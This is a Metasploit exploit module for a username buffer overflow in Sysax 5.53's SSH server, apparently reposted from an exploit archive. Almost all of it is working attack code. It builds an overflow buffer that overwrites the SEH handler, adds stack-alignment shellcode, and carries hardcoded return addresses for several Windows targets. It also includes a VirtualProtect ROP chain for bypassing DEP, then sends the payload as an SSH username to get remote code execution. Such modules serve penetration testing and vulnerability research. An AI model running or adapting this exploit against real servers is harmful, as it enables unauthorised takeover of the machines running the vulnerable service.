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Sysax 5.53 SSH Username Buffer Overflow

Posted on 05 March 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info={})
 super(update_info(info,
 'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
 'Description' => %q{
 This module exploits a vulnerability found in Sysax's SSH service. By
 supplying a long username, the SSH server will copy that data on the stack
 without any proper bounds checking, therefore allowing remote code execution
 under the context of the user. Please note that previous versions
 (before 5.53) are also affected by this bug.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Craig Freyman', #Initial discovery, PoC
 'sinn3r' #Metasploit
 ],
 'References' =>
 [
 ['OSVDB', '79689'],
 ['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
 ['URL', 'http://www.exploit-db.com/exploits/18535/']
 ],
 'Payload' =>
 {
 'Space' => 1024,
 'BadChars' => "x00x3a",
 'StackAdjustment' => -3500
 },
 'DefaultOptions' =>
 {
 'ExitFunction' => "seh"
 },
 'Platform' => 'win',
 'Targets' =>
 [
 [
 'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
 {
 'Rop' => false,
 'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
 }
 ],
 [
 'Sysax 5.53 on Win2K3 SP1/SP2',
 {
 'Rop' => true,
 'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
 }
 ]
 ],
 'Privileged' => false,
 'DisclosureDate' => "Feb 27 2012",
 'DefaultTarget' => 0))

 register_options(
 [
 OptInt.new('RPORT', [false, 'The target port', 22])
 ], self.class)
 end

 def load_netssh
 begin
 require 'net/ssh'
 return true
 rescue LoadError
 return false
 end
 end

 def get_regular_exploit
 #
 # Align the stack to the beginning of the fixed size payload
 #
 align = "x54" #PUSH ESP
 align << "x58" #POP EAX
 align << "x04x08" #ADD AL,0x08
 align << "x8bx18" #MOV EBX, [EAX]
 align << "x93" #XCHG EAX,EBX
 align << "x66x2dx10x04" #SUB AX,0x361
 align << "x50" #PUSH EAX
 align << "xc3" #RET

 #
 # Our payload limited to 1024+4 bytes
 #
 p = make_nops(4)
 p << payload.encoded

 #
 # Craft the buffer like this:
 # [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
 # * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
 # for the IP length, so the next 9404-byte space will begin at a consistent place.
 # * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
 # partial-overwrite to allow a null byte in SEH.
 #
 buf = ''
 buf << rand_text(392, payload_badchars)
 buf << rand_text(20, payload_badchars)
 buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
 buf << p
 buf << align
 buf << "xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
 buf << [target.ret].pack('V*')

 return buf
 end

 def get_rop_exploit

 junk = rand_text(4).unpack("L")[0].to_i
 nop = make_nops(4).unpack("L")[0].to_i

 # !mona rop -m msvcrt
 p =
 [
 0x77bb2563, # POP EAX # RETN
 0x77ba1114, # <- *&VirtualProtect()
 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
 junk,
 0x77bb0c86, # XCHG EAX,ESI # RETN
 0x77bc9801, # POP EBP # RETN
 0x77be2265, # ptr to 'push esp # ret'
 0x77bb2563, # POP EAX # RETN
 0x03C0990F,
 0x77bdd441, # SUB EAX, 03c0940f
 0x77bb48d3, # POP EBX, RET
 0x77bf21e0, # .data
 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
 0x77bbfc02, # POP ECX # RETN
 0x77bef001, # W pointer (lpOldProtect) (-> ecx)
 0x77bd8c04, # POP EDI # RETN
 0x77bd8c05, # ROP NOP (-> edi)
 0x77bb2563, # POP EAX # RETN
 0x03c0984f,
 0x77bdd441, # SUB EAX, 03c0940f
 0x77bb8285, # XCHG EAX,EDX # RETN
 0x77bb2563, # POP EAX # RETN
 nop,
 0x77be6591, # PUSHAD # ADD AL,0EF # RETN
 ].pack("V*")

 p << payload.encoded

 #
 # Similar buffer structure to get_regular_exploit
 #
 buf = ''
 buf << rand_text(392, payload_badchars)
 buf << rand_text(20, payload_badchars)
 buf << rand_text(1012, payload_badchars)
 buf << p
 buf << rand_text(9204-buf.length)
 buf << rand_text(4, payload_badchars)
 buf << [target.ret].pack('V*')

 return buf
 end

 def exploit
 #
 # Load net/ssh so we can talk the SSH protocol
 #
 has_netssh = load_netssh
 if not has_netssh
 print_error("You don't have net/ssh installed. Please run gem install net-ssh")
 return
 end

 #
 # Create buffer based on target (DEP or no DEP)
 # If possible, we still prefer to use the regular version because it's more stable
 #
 if target['Rop']
 buf = get_rop_exploit
 else
 buf = get_regular_exploit
 end

 #
 # Send the malicious buffer
 #
 pass = rand_text_alpha(8)
 begin
 print_status("Sending malicious request to #{rhost}:#{rport}...")
 ssh = Net::SSH.start(
 datastore['RHOST'],
 buf,
 {
 :password => pass,
 :port => datastore['RPORT'],
 :timeout => 1
 })

 ::Timeout.timeout(1) {ssh.close} rescue nil

 rescue Errno::ECONNREFUSED
 print_error("Cannot establish a connection on #{rhost}:#{rport}")
 return
 rescue ::Exception => e
 if e.message =~ /fingerprint [0-9a-z:]+ does not match/
 print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
 return
 end
 end

 handler(ssh)
 end
end

=begin
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
relying on net/ssh.
=end

 

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